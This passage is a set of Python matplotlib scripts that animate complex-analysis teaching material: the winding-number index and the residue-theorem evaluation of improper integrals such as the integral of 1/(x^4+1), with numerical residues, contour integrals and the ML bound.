                                                                           for a, b in zip(INDP, RES)), (INDP * RES).sum().real)
                      if ph == "pgot" else "")
        H[0].set_data(TT[:n + 1], Y[:n + 1].real); H[1].set_data(TT[:n + 1], Y[:n + 1].imag)
    else:
        g = G; P = phi(G, z0); d = dist(z0); on = d < 0.04
        v = int(round(P[-1].real))
        live.append(ax.scatter([z0.real], [z0.imag], s=50, color="k", zorder=7))
        live.append(ax.text(z0.real + 0.1, z0.imag + 0.08, "$z_0$", fontsize=14, zorder=7))
        labels(r"$z_0$;  $\mathrm{dist}(z_0,\gamma)$", r"$\varphi(t)/2\pi i$" if not on else "",
               r"$\mathrm{Ind}(\gamma;z_0)$" if t == 1 and not on else "")
        T[0].set_text("= %s;   %.2f" % (cz(z0), d))
        T[1].set_text("= " + cz(P[n]) if not on else "")
        T[2].set_text("= %.4f" % (round(P[-1].real, 4) + 0.0) if t == 1 and not on else "")
        if ph == "move" and not on and v == 0:
            T[2].set_text(T[2].get_text() + "   (ML bound L/(2\u03c0 dist) = %.2f)" % (LEN / (2 * np.pi * d)))
        if ph == "move":
            title.set_text(r"Move $z_0$: the index is constant on each region, jumps by $\pm1$ across $\gamma$")
            sub.set_text(r"$z_0$ on $\gamma$: $\mathrm{Ind}(\gamma;z_0)$ is not defined" if on else
                         (r"outside: $\mathrm{Ind}=0$ on the unbounded region (Proposition 27.8)" if v == 0 else
                          r"$z_0$ in a region of index $%d$: the ray turns %s" % (v, {2: "twice", 1: "once",
                                                                                   -1: "once, clockwise"}[v])))
        else:
            title.set_text(r"Definition 27.7: $\mathrm{Ind}(\gamma;z_0)=\frac{1}{2\pi i}\oint_\gamma\frac{dz}{z-z_0}$")
            sub.set_text(r"The ray from $z_0$ to $\gamma(t)$ has turned twice: $\mathrm{Ind}(\gamma;z_0)=2$" if ph == "got"
                         else r"Proof of Prop. 27.8: $\varphi(t)=\int_0^t\frac{\gamma'}{\gamma-z_0}$; Re $\varphi/2\pi i$ counts the turns")
        if not on:
            if ph != "move":
                live.extend(ax.plot([z0.real, G[n].real], [z0.imag, G[n].imag], color=PC, lw=1.8, zorder=5))
            H[0].set_data(TT[:n + 1], P[:n + 1].real); H[1].set_data(TT[:n + 1], P[:n + 1].imag)
        else:
            H[0].set_data([], []); H[1].set_data([], [])
    paint = PAINT[k]
    if not circ:
        if paint != state[1]:
            state[1] = paint; RGBA[..., 3] = np.isin(IND, list(paint)) * 0.75; img.set_data(RGBA)
        for v in paint:
            live.append(ax.text(LAB[v].real, LAB[v].imag, r"$\mathrm{Ind}=%d$" % v, fontsize=12.5, ha="center",
                                va="center", color="w" if v == 2 else "k", zorder=4))
    if 0 < t:
        live.append(ax.scatter([g[n].real], [g[n].imag], s=40, color=PC, zorder=7))
        live.append(axg.scatter([t], [Y[n].real if (circ or pol) else P[n].real], s=30, color="k", zorder=6)
                    if (circ or pol or d >= 0.04) else axg.scatter([], []))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(150)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Improper integrals (Theorem 29.5), version B1: the numbers against R.
Part 1 (Examples 29.6, 29.7, Exercise 29.1): C_R grows; the integral round it, plotted against R, jumps by
2 pi i Res at each pole and is constant once all poles are inside. Part 2 (Example 29.6): the arc is lifted off;
|its integral| and the ML bound fall to 0 and the segment integral rises to pi/sqrt 2.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the improperB animations (pasted in by make_improperB.py).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
TH = np.linspace(0, np.pi, 6001)
live = []


def clear():
    while live:
        live.pop().remove()


def trap(y, x):
    return ((y[1:] + y[:-1]) * np.diff(x)).sum() / 2


def res(f, p, r=1e-3):
    z = p + r * np.exp(2j * np.pi * np.arange(2000) / 2000)
    return (f(z) * (z - p)).mean()


EX = [dict(f=lambda z: 1 / (z ** 4 + 1), P=np.exp(1j * np.pi * np.array([0.25, 0.75])), pl=[r"$e^{i\pi/4}$", r"$e^{3i\pi/4}$"],
           name=r"$f(z)=\frac{1}{z^{4}+1}$ (Example 29.6)", I=r"\int_{-\infty}^{\infty}\frac{dx}{x^{4}+1}", v=r"\frac{\pi}{\sqrt{2}}"),
      dict(f=lambda z: z ** 2 / ((z ** 2 + 1) * (z ** 2 + 4)), P=np.array([1j, 2j]), pl=["$i$", "$2i$"],
           name=r"$f(z)=\frac{z^{2}}{(z^{2}+1)(z^{2}+4)}$ (Example 29.7)", I="", v=r"\frac{\pi}{3}"),
      dict(f=lambda z: 1 / (z ** 2 + 1) ** 2, P=np.array([1j]), pl=[r"$i$ (double pole)"],
           name=r"$f(z)=\frac{1}{(z^{2}+1)^{2}}$ (Exercise 29.1)", I="", v=r"\frac{\pi}{2}")]
for E in EX:
    E["res"] = np.array([res(E["f"], p) for p in E["P"]])
    E["val"] = 2j * np.pi * E["res"].sum()
assert abs(EX[0]["val"] - np.pi / np.sqrt(2)) < 1e-9 and abs(EX[1]["val"] - np.pi / 3) < 1e-9
assert abs(EX[2]["val"] - np.pi / 2) < 1e-9


def make_sched(ng, npz, nh, nl, nf, ne):
    S = []
    for e, E in enumerate(EX):
        rs = 0.4 * 12.5 ** (np.arange(ng) / (ng - 1)); a = np.abs(E["P"])
        for i, R in enumerate(rs):
            S += [("grow", e, R, 0)] * (1 + (npz if i and ((a > rs[i - 1]) & (a < R)).any() else 0))
        S += [("hold", e, 5.0, 0)] * nh
    return (S + [("lift", 0, 2.0, ease(i / (nl - 7))) for i in range(nl)]
            + [("far", 0, 2 * 5 ** ease(i / (nf - 1)), 1) for i in range(nf)] + [("end", 0, 10.0, 1)] * ne)


def ints(f, R):
    x = np.linspace(-R, R, 4001); z = R * np.exp(1j * TH)
    return trap(f(x + 0j), x), trap(f(z) * 1j * z, TH)


def inside(E, R):
    return np.abs(E["P"]) < R


def onpole(E, R):
    return np.abs(np.abs(E["P"]) - R).min() < 0.02


def ML(E, R):
    return np.pi * R * np.abs(E["f"](R * np.exp(1j * TH))).max()


def left(ax, ph, E, R, lift, arcdraw=None):
    L = 5.6 if ph in ("grow", "hold") else 11.0
    ax.set_xlim(-L, L); ax.set_ylim(-0.27 * L, 1.15 * L if L < 6 else 1.17 * L)
    live.extend(ax.plot([-L, L], [0, 0], color="0.85", lw=0.8) + ax.plot([0, 0], [-0.2 * L, 1.4 * L], color="0.85", lw=0.8))
    live.extend(ax.plot([-R, R], [0, 0], color=CCOL, lw=2.6))
    live.append(ax.annotate("", xy=(0.06 * R, 0), xytext=(-0.06 * R, 0),
                            arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=16)))
    z = R * np.exp(1j * TH[::20])
    if lift > 0:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=1, alpha=0.25, ls="--"))
    z = z + 0.17j * L * lift
    if arcdraw:
        arcdraw(ax, z)
    else:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=2.6))
    live.append(ax.annotate("", xy=(z[160].real, z[160].imag), xytext=(z[140].real, z[140].imag),
                            arrowprops=dict(arrowstyle="-|>", color=PCOL, lw=2, mutation_scale=16)))
    if lift > 0:
        live.append(ax.text(0, z[150].imag + 0.05 * L, r"$\Gamma_R$, lifted off", color=PCOL, ha="center", fontsize=12))
    for p, s, ins in zip(E["P"], E["pl"], inside(E, R)):
        live.append(ax.scatter([p.real], [p.imag], s=40, color="red", zorder=7))
        live.append(ax.text(p.real + (0.07 if p.real >= 0 else -0.07) * L, p.imag, s, color="red", fontsize=11,
                            va="center", ha="left" if p.real >= 0 else "right"))
        if ins:
            live.append(ax.scatter([p.real], [p.imag], s=230, facecolor="none", edgecolor="red", lw=1.2, zorder=7))
    live.append(ax.text(-R, -0.11 * L, "$-R$", ha="center")); live.append(ax.text(R, -0.11 * L, "$R$", ha="center"))
    live.append(ax.text(0, -0.25 * L, "$R=%.2f$" % R, ha="center", fontsize=12))
    if ph in ("grow", "hold") and inside(E, R).all():
        live.append(ax.text(0, 1.06 * L, r"all poles inside: $\oint_{C_R}f\,dz$ is constant from now on", ha="center",
                            fontsize=11.5, color="darkgreen", bbox=dict(fc="#eaf5ea", ec="darkgreen", boxstyle="round")))


def titles(ph, E, R):
    V = E["v"]
    if ph == "grow" and not inside(E, R).all():
        return (r"Grow $C_R=[-R,R]+\Gamma_R$: $\oint_{C_R}f\,dz$ changes only when $C_R$ passes a pole",
                E["name"] + r": $\oint_{C_R}f\,dz=2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$ (Theorem 27.5)")
    if ph in ("grow", "hold"):
        return (r"All poles inside: $\oint_{C_R}f\,dz=%s$ for every larger $R$" % V,
                E["name"] + r": $R$ keeps growing, the integral does not change")
    if ph == "lift":
        return (r"Lift the arc $\Gamma_R$ off: segment $+$ arc $=\oint_{C_R}f\,dz=%s$ for every $R>1$" % V,
                E["name"] + r"; what is left behind is the segment $[-R,R]$")
    if ph == "far":
        return (r"$R\to\infty$: $|\int_{\Gamma_R}f\,dz|\leq\pi R\max_{\Gamma_R}|f|=\frac{\pi R}{R^{4}-1}\to0$ (Lemma 29.4)",
                r"so the segment integral $\int_{-R}^{R}f(x)\,dx=%s-\int_{\Gamma_R}f\,dz$ tends to $%s$" % (V, V))
    return (r"In the limit only the real line is left: $%s=2\pi i\sum\mathrm{Res}=%s$" % (E["I"], V),
            "(Theorem 29.5)")


def table(fig):

    T = []
    for x, xv, labs in ((0.07, 0.25, (r"$\oint_{C_R}f\,dz$", r"$2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$")),
                        (0.47, 0.77, (r"segment $\int_{-R}^{R}f(x)\,dx$", r"arc $|\int_{\Gamma_R}f(z)\,dz|$",
                                     r"ML bound $\pi R\max_{\Gamma_R}|f|$"))):
        for i, s in enumerate(labs):
            fig.text(x, 0.515 - 0.042 * i, s, fontsize=12, va="center")
            T.append(fig.text(xv, 0.515 - 0.042 * i, "", fontsize=12, va="center"))
    return T


def numbers(T, ph, E, R, s, a):
    c = "undefined: pole on the arc" if np.isnan(s) else "= %.4f" % (round((s + a).real, 4) + 0.0)
    v = [c, "= %.4f" % (round((2j * np.pi * E["res"][inside(E, R)].sum()).real, 4) + 0.0), "", "", ""]
    if ph in ("lift", "far", "end"):
        v[2:] = ["= %.4f" % s.real, "= %.4f" % abs(a), "= %.4f" % ML(E, R)]
    for t, x in zip(T, v):
        t.set_text(x)


def setup():
    fig = plt.figure(figsize=(8.4, 10.6))
    axl = fig.add_axes([0.03, 0.555, 0.94, 0.345]); axl.set_aspect("equal"); axl.axis("off")
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=11.5, color="0.3")
    return fig, axl, title, sub


def compute(k):
    ph, e, R, lift = SCHED[k]; E = EX[e]
    s, a = ints(E["f"], R)
    if onpole(E, R):
        s = a = np.nan
    else:
        assert abs(s + a - 2j * np.pi * E["res"][inside(E, R)].sum()) < 1e-4 and abs((s + a).imag) < 1e-8
    return ph, e, E, R, lift, s, a

SPEED = (36, 0, 8, 18, 60, 16)
SCHED = make_sched(*SPEED)
fig, axl, title, sub = setup(); T = table(fig)
PRE = [compute(k) for k in range(len(SCHED))]
K = np.arange(len(SCHED)); RR = np.array([s[2] for s in SCHED]); EE = np.array([s[1] for s in SCHED])
P2 = np.array([s[0] in ("lift", "far", "end") for s in SCHED])
part = [None]


def common(k):
    clear()
    ph, e, E, R, lift, s, a = PRE[k]
    t = titles(ph, E, R); title.set_text(t[0]); sub.set_text(t[1])
    numbers(T, ph, E, R, s, a)
    new = part[0] != (P2[k], e); part[0] = (P2[k], e)
    return ph, e, E, R, lift, s, a, new

axr = fig.add_axes([0.13, 0.05, 0.74, 0.33]); axr.set_xscale("log"); axr.tick_params(labelsize=9)
axr.set_xlabel("$R$", labelpad=1)
SS = np.array([p[5] for p in PRE]).real; AA = np.array([p[6] for p in PRE]); CL = SS + AA.real
MLv = np.array([ML(EX[0], R) for R in RR])
ax2 = axr.twinx(); ax2.set_yscale("log"); ax2.set_ylim(3e-4, 30); ax2.tick_params(labelsize=9, colors=PCOL)
ax2.set_ylabel("log scale", color=PCOL, fontsize=10)
H = [(axr if i < 2 else ax2).plot([], [], color=c, lw=w, ls=ls, label=l)[0] for i, (c, w, ls, l) in enumerate((
    ("k", 2.4, "-", r"$\oint_{C_R}f\,dz$"), (CCOL, 2.2, "-", r"segment $\int_{-R}^{R}f(x)\,dx$"),
    (PCOL, 2.2, "-", r"$|\int_{\Gamma_R}f(z)\,dz|$"), (PCOL, 1.3, "--", r"ML bound $\pi R\max_{\Gamma_R}|f|$")))]
hv = axr.axhline(0, color="0.5", lw=0.9, ls=":"); hl = axr.text(0, 0, "", fontsize=14, color="0.35", ha="right", va="bottom")
leg = [None]


def frame(k):
    ph, e, E, R, lift, s, a, new = common(k)
    left(axl, ph, E, R, lift)
    two = P2[k]; V = E["val"].real
    if new:
        if leg[0]:
            leg[0].remove()
        if two:
            X = (1.9, 10.8); axr.set_ylim(-0.08, 3.9); tk = [2, 3, 5, 10]
        else:
            y = CL[(EE == e) & ~P2]; y = y[~np.isnan(y)]; X = (0.38, 5.4); tk = [0.5, 1, 2, 5]
            axr.set_ylim(min(0, y.min()) - 0.35, max(0, y.max()) + 0.5)
        axr.set_xlim(*X); axr.set_xticks(tk); axr.set_xticklabels([str(t) for t in tk]); axr.minorticks_off()
        leg[0] = axr.legend(handles=H, loc="upper center", fontsize=10, ncol=2) if two else None
        axr.set_ylabel("" if two else r"$\oint_{C_R}f\,dz$"); ax2.set_visible(bool(two))
        hv.set_ydata([V, V]); hl.set_position((X[1] / 1.08, V + 0.03)); hl.set_text("$%s$" % E["v"])
    m = (K <= k) & (EE == e) & (P2 == two)
    H[0].set_data(RR[m], CL[m])
    for h, y in zip(H[1:], (SS, np.abs(AA), MLv)):
        h.set_data(RR[m], y[m]) if two else h.set_data([], [])
    live.append(axr.axvline(R, color="0.6", lw=0.8))
    if not np.isnan(CL[k]):
        live.append(axr.scatter([R], [CL[k]], s=40, color="k", zorder=6))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(175)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Improper integrals (Theorem 29.5), version B2: the running total.
Below: the integral so far along [-R,R] (teal) then Gamma_R (orange), redrawn for each R; it ends at the
integral round C_R. Part 1 (Examples 29.6, 29.7, Exercise 29.1): once all poles are inside, the end stays put.
Part 2 (Example 29.6): the arc is lifted off; the inset, on a fixed scale, shows its own integral shrink to 0.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the improperB animations (pasted in by make_improperB.py).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
TH = np.linspace(0, np.pi, 6001)
live = []


def clear():
    while live:
        live.pop().remove()


def trap(y, x):
    return ((y[1:] + y[:-1]) * np.diff(x)).sum() / 2


def res(f, p, r=1e-3):
    z = p + r * np.exp(2j * np.pi * np.arange(2000) / 2000)
    return (f(z) * (z - p)).mean()


EX = [dict(f=lambda z: 1 / (z ** 4 + 1), P=np.exp(1j * np.pi * np.array([0.25, 0.75])), pl=[r"$e^{i\pi/4}$", r"$e^{3i\pi/4}$"],
           name=r"$f(z)=\frac{1}{z^{4}+1}$ (Example 29.6)", I=r"\int_{-\infty}^{\infty}\frac{dx}{x^{4}+1}", v=r"\frac{\pi}{\sqrt{2}}"),
      dict(f=lambda z: z ** 2 / ((z ** 2 + 1) * (z ** 2 + 4)), P=np.array([1j, 2j]), pl=["$i$", "$2i$"],
           name=r"$f(z)=\frac{z^{2}}{(z^{2}+1)(z^{2}+4)}$ (Example 29.7)", I="", v=r"\frac{\pi}{3}"),
      dict(f=lambda z: 1 / (z ** 2 + 1) ** 2, P=np.array([1j]), pl=[r"$i$ (double pole)"],
           name=r"$f(z)=\frac{1}{(z^{2}+1)^{2}}$ (Exercise 29.1)", I="", v=r"\frac{\pi}{2}")]
for E in EX:
    E["res"] = np.array([res(E["f"], p) for p in E["P"]])
    E["val"] = 2j * np.pi * E["res"].sum()
assert abs(EX[0]["val"] - np.pi / np.sqrt(2)) < 1e-9 and abs(EX[1]["val"] - np.pi / 3) < 1e-9
assert abs(EX[2]["val"] - np.pi / 2) < 1e-9


def make_sched(ng, npz, nh, nl, nf, ne):
    S = []
    for e, E in enumerate(EX):
        rs = 0.4 * 12.5 ** (np.arange(ng) / (ng - 1)); a = np.abs(E["P"])
        for i, R in enumerate(rs):
            S += [("grow", e, R, 0)] * (1 + (npz if i and ((a > rs[i - 1]) & (a < R)).any() else 0))
        S += [("hold", e, 5.0, 0)] * nh
    return (S + [("lift", 0, 2.0, ease(i / (nl - 7))) for i in range(nl)]
            + [("far", 0, 2 * 5 ** ease(i / (nf - 1)), 1) for i in range(nf)] + [("end", 0, 10.0, 1)] * ne)


def ints(f, R):
    x = np.linspace(-R, R, 4001); z = R * np.exp(1j * TH)
    return trap(f(x + 0j), x), trap(f(z) * 1j * z, TH)


def inside(E, R):
    return np.abs(E["P"]) < R


def onpole(E, R):
    return np.abs(np.abs(E["P"]) - R).min() < 0.02


def ML(E, R):
    return np.pi * R * np.abs(E["f"](R * np.exp(1j * TH))).max()


def left(ax, ph, E, R, lift, arcdraw=None):
    L = 5.6 if ph in ("grow", "hold") else 11.0
    ax.set_xlim(-L, L); ax.set_ylim(-0.27 * L, 1.15 * L if L < 6 else 1.17 * L)
    live.extend(ax.plot([-L, L], [0, 0], color="0.85", lw=0.8) + ax.plot([0, 0], [-0.2 * L, 1.4 * L], color="0.85", lw=0.8))
    live.extend(ax.plot([-R, R], [0, 0], color=CCOL, lw=2.6))
    live.append(ax.annotate("", xy=(0.06 * R, 0), xytext=(-0.06 * R, 0),
                            arrowprops=dict(arrowstyle="-|>", color=CCOL, lw=2, mutation_scale=16)))
    z = R * np.exp(1j * TH[::20])
    if lift > 0:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=1, alpha=0.25, ls="--"))
    z = z + 0.17j * L * lift
    if arcdraw:
        arcdraw(ax, z)
    else:
        live.extend(ax.plot(z.real, z.imag, color=PCOL, lw=2.6))
    live.append(ax.annotate("", xy=(z[160].real, z[160].imag), xytext=(z[140].real, z[140].imag),
                            arrowprops=dict(arrowstyle="-|>", color=PCOL, lw=2, mutation_scale=16)))
    if lift > 0:
        live.append(ax.text(0, z[150].imag + 0.05 * L, r"$\Gamma_R$, lifted off", color=PCOL, ha="center", fontsize=12))
    for p, s, ins in zip(E["P"], E["pl"], inside(E, R)):
        live.append(ax.scatter([p.real], [p.imag], s=40, color="red", zorder=7))
        live.append(ax.text(p.real + (0.07 if p.real >= 0 else -0.07) * L, p.imag, s, color="red", fontsize=11,
                            va="center", ha="left" if p.real >= 0 else "right"))
        if ins:
            live.append(ax.scatter([p.real], [p.imag], s=230, facecolor="none", edgecolor="red", lw=1.2, zorder=7))
    live.append(ax.text(-R, -0.11 * L, "$-R$", ha="center")); live.append(ax.text(R, -0.11 * L, "$R$", ha="center"))
    live.append(ax.text(0, -0.25 * L, "$R=%.2f$" % R, ha="center", fontsize=12))
    if ph in ("grow", "hold") and inside(E, R).all():
        live.append(ax.text(0, 1.06 * L, r"all poles inside: $\oint_{C_R}f\,dz$ is constant from now on", ha="center",
                            fontsize=11.5, color="darkgreen", bbox=dict(fc="#eaf5ea", ec="darkgreen", boxstyle="round")))


def titles(ph, E, R):
    V = E["v"]
    if ph == "grow" and not inside(E, R).all():
        return (r"Grow $C_R=[-R,R]+\Gamma_R$: $\oint_{C_R}f\,dz$ changes only when $C_R$ passes a pole",
                E["name"] + r": $\oint_{C_R}f\,dz=2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$ (Theorem 27.5)")
    if ph in ("grow", "hold"):
        return (r"All poles inside: $\oint_{C_R}f\,dz=%s$ for every larger $R$" % V,
                E["name"] + r": $R$ keeps growing, the integral does not change")
    if ph == "lift":
        return (r"Lift the arc $\Gamma_R$ off: segment $+$ arc $=\oint_{C_R}f\,dz=%s$ for every $R>1$" % V,
                E["name"] + r"; what is left behind is the segment $[-R,R]$")
    if ph == "far":
        return (r"$R\to\infty$: $|\int_{\Gamma_R}f\,dz|\leq\pi R\max_{\Gamma_R}|f|=\frac{\pi R}{R^{4}-1}\to0$ (Lemma 29.4)",
                r"so the segment integral $\int_{-R}^{R}f(x)\,dx=%s-\int_{\Gamma_R}f\,dz$ tends to $%s$" % (V, V))
    return (r"In the limit only the real line is left: $%s=2\pi i\sum\mathrm{Res}=%s$" % (E["I"], V),
            "(Theorem 29.5)")


def table(fig):

    T = []
    for x, xv, labs in ((0.07, 0.25, (r"$\oint_{C_R}f\,dz$", r"$2\pi i\sum_{\mathrm{inside}}\mathrm{Res}$")),
                        (0.47, 0.77, (r"segment $\int_{-R}^{R}f(x)\,dx$", r"arc $|\int_{\Gamma_R}f(z)\,dz|$",
                                     r"ML bound $\pi R\max_{\Gamma_R}|f|$"))):
        for i, s in enumerate(labs):
            fig.text(x, 0.515 - 0.042 * i, s, fontsize=12, va="center")
            T.append(fig.text(xv, 0.515 - 0.042 * i, "", fontsize=12, va="center"))
    return T


def numbers(T, ph, E, R, s, a):
    c = "undefined: pole on the arc" if np.isnan(s) else "= %.4f" % (round((s + a).real, 4) + 0.0)
    v = [c, "= %.4f" % (round((2j * np.pi * E["res"][inside(E, R)].sum()).real, 4) + 0.0), "", "", ""]
    if ph in ("lift", "far", "end"):
        v[2:] = ["= %.4f" % s.real, "= %.4f" % abs(a), "= %.4f" % ML(E, R)]
    for t, x in zip(T, v):
        t.set_text(x)


def setup():
    fig = plt.figure(figsize=(8.4, 10.6))
    axl = fig.add_axes([0.03, 0.555, 0.94, 0.345]); axl.set_aspect("equal"); axl.axis("off")
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=11.5, color="0.3")
    return fig, axl, title, sub


def compute(k):
    ph, e, R, lift = SCHED[k]; E = EX[e]
    s, a = ints(E["f"], R)
    if onpole(E, R):
        s = a = np.nan
    else:
        assert abs(s + a - 2j * np.pi * E["res"][inside(E, R)].sum()) < 1e-4 and abs((s + a).imag) < 1e-8
    return ph, e, E, R, lift, s, a

SPEED = (40, 8, 12, 24, 66, 20)
SCHED = make_sched(*SPEED)
fig, axl, title, sub = setup(); T = table(fig)
PRE = [compute(k) for k in range(len(SCHED))]
K = np.arange(len(SCHED)); RR = np.array([s[2] for s in SCHED]); EE = np.array([s[1] for s in SCHED])
P2 = np.array([s[0] in ("lift", "far", "end") for s in SCHED])
part = [None]


def common(k):
    clear()
    ph, e, E, R, lift, s, a = PRE[k]
    t = titles(ph, E, R); title.set_text(t[0]); sub.set_text(t[1])
    numbers(T, ph, E, R, s, a)
    new = part[0] != (P2[k], e); part[0] = (P2[k], e)
    return ph, e, E, R, lift, s, a, new

axr = fig.add_axes([0.1, 0.05, 0.84, 0.33]); axr.tick_params(labelsize=9)
axi = axr.inset_axes([0.02, 0.4, 0.5, 0.55]); axi.set_xticks([]); axi.set_yticks([])
axi.set_xlim(-0.12, 0.12); axi.set_ylim(-0.08, 0.08); axi.set_aspect("equal")
axi.axhline(0, color="0.85", lw=0.8); axi.axvline(0, color="0.85", lw=0.8)
axi.set_title(r"the lifted arc alone: $\int_{\Gamma_R}f\,dz$ so far", fontsize=9.5, pad=2)
N = 600; U = np.linspace(0, np.pi, N)


def path(E, R):
    x = np.linspace(-R, R, N); z = R * np.exp(1j * U); g = E["f"](z) * 1j * z; y = E["f"](x + 0j)
    I1 = np.r_[0, np.cumsum((y[1:] + y[:-1]) / 2 * np.diff(x))]
    return I1, I1[-1] + np.r_[0, np.cumsum((g[1:] + g[:-1]) / 2 * np.diff(U))]


LIM = {}
for e, E in enumerate(EX):
    ks = [k for k in K if EE[k] == e and not P2[k] and np.abs(np.abs(E["P"]) - RR[k]).min() > 0.25]
    Z = np.concatenate([np.r_[p] for k in ks for p in path(E, RR[k])] + [np.r_[0, E["val"]]])
    LIM[e] = (Z.real.min() - 0.25, Z.real.max() + 0.25, Z.imag.min() - 0.2, Z.imag.max() + 0.3)


def frame(k):
    ph, e, E, R, lift, s, a, new = common(k)
    left(axl, ph, E, R, lift)
    two = P2[k]
    if new:
        x0, x1, y0, y1 = LIM[e]; h = max(x1 - x0, (y1 - y0) / 0.49) / 2; c = (x0 + x1) / 2
        axr.set_xlim(c - h, c + h); axr.set_ylim(y0, y0 + 0.98 * h)
        axi.set_visible(bool(two))
    live.extend(axr.plot([LIM[e][0] - 9, LIM[e][1] + 9], [0, 0], color="0.85", lw=0.8))
    live.append(axr.scatter([0], [0], s=25, color="k", zorder=6))
    V = E["val"]; S = 2j * np.pi * np.cumsum(E["res"])
    live.append(axr.scatter([V.real], [V.imag], marker="*", s=230, color="red", zorder=7))
    live.append(axr.text(V.real, V.imag + 0.08, "$%s$" % E["v"], color="red", fontsize=14, ha="center", va="bottom"))
    if len(S) > 1:
        live.append(axr.scatter(S[:-1].real, S[:-1].imag, marker="*", s=120, color="salmon", zorder=6))
    I1, I2 = path(E, R)
    live.extend(axr.plot(I1.real, I1.imag, color=CCOL, lw=2.4))
    if not np.isnan(s):
        live.extend(axr.plot(I2.real, I2.imag, color=PCOL, lw=2.2))
        live.append(axr.scatter([I2[-1].real], [I2[-1].imag], s=45, color="k", zorder=8))
    if two:
        A = I2 - I1[-1]
        live.extend(axi.plot(A.real, A.imag, color=PCOL, lw=1.8))
        live.append(axi.annotate("", xy=(A[-1].real, A[-1].imag), xytext=(0, 0),
                                 arrowprops=dict(arrowstyle="-|>", color="k", lw=1.5, mutation_scale=12)))

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(90)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Improper integrals (Theorem 29.5), version B3: residue arrows, then |f| on the lifted arc.
Part 1 (Examples 29.6, 29.7, Exercise 29.1): one arrow 2 pi i Res per pole inside C_R; the dot is the computed
integral. Part 2 (Example 29.6): arc thickness ~ |f|; below, R|f(Re^{it})| and the ML rectangle shrink to 0.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the improperB animations (pasted in by make_improperB.py).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
TH = np.linspace(0, np.pi, 6001)
live = []


def clear():
    while live:
        live.pop().remove()


def trap(y, x):
    return ((y[1:] + y[:-1]) * np.diff(x)).sum() / 2


def res(f, p, r=1e-3):
    z = p + r * np.exp(2j * np.pi * np.arange(2000) / 2000)
    return (f(z) * (z - p)).mean()


EX = [dict(f=lambda z: 1 / (z ** 4 + 1), P=np.exp(1j * np.pi * np.array([0.25, 0.75])), pl=[r"$e^{i\pi/4}$", r"$e^{3i\pi/4}$"],
           name=r"$f(z)=\frac{1}{z^{4}+1}$ (Example 29.6)", I=r"\int_{-\infty}^{\infty}\frac{dx}{x^{4}+1}", v=r"\frac{\pi}{\sqrt{2}}"),
      dict(f=lambda z: z ** 2 / ((z ** 2 + 1) * (z ** 2 + 4)), P=np.array([1j, 2j]), pl=["$i$", "$2i$"],
           name=r"$f(z)=\frac{z^{2}}{(z^{2}+1)(z^{2}+4)}$ (Example 29.7)", I="", v=r"\frac{\pi}{3}"),
      dict(f=lambda z: 1 / (z ** 2 + 1) ** 2, P=np.array([1j]), pl=[r"$i$ (double pole)"],
           name=r"$f(z)=\frac{1}{(z^{2}+1)^{2}}$ (Exercise 29.1)", I="", v=r"\frac{\pi}{2}")]
for E in EX:
    E["res"] = np.array([res(E["f"], p) for p in E["P"]])
    E["val"] = 2j * np.pi * E["res"].sum()
assert abs(EX[0]["val"] - np.pi / np.sqrt(2)) < 1e-9 and abs(EX[1]["val"] - np.pi / 3) < 1e-9
assert abs(EX[2]["val"] - np.pi / 2) < 1e-9


def make_sched(ng, npz, nh, nl, nf, ne):
    S = []
    for e, E in enumerate(EX):
        rs = 0.4 * 12.5 ** (np.arange(ng) / (ng - 1)); a = np.abs(E["P"])
        for i, R in enumerate(rs):
            S += [("grow", e, R, 0)] * (1 + (npz if i and ((a > rs[i - 1]) & (a < R)).any() else 0))
        S += [("hold", e, 5.0, 0)] * nh
    return (S + [("lift", 0, 2.0, ease(i / (nl - 7))) for i in range(nl)]
            + [("far", 0, 2 * 5 ** ease(i / (nf - 1)), 1) for i in range(nf)] + [("end", 0, 10.0, 1)] * ne)


def ints(f, R):
    x = np.linspace(-R, R, 4001); z = R * np.exp(1j * TH)
    return trap(f(x + 0j), x), trap(f(z) * 1j * z, TH)


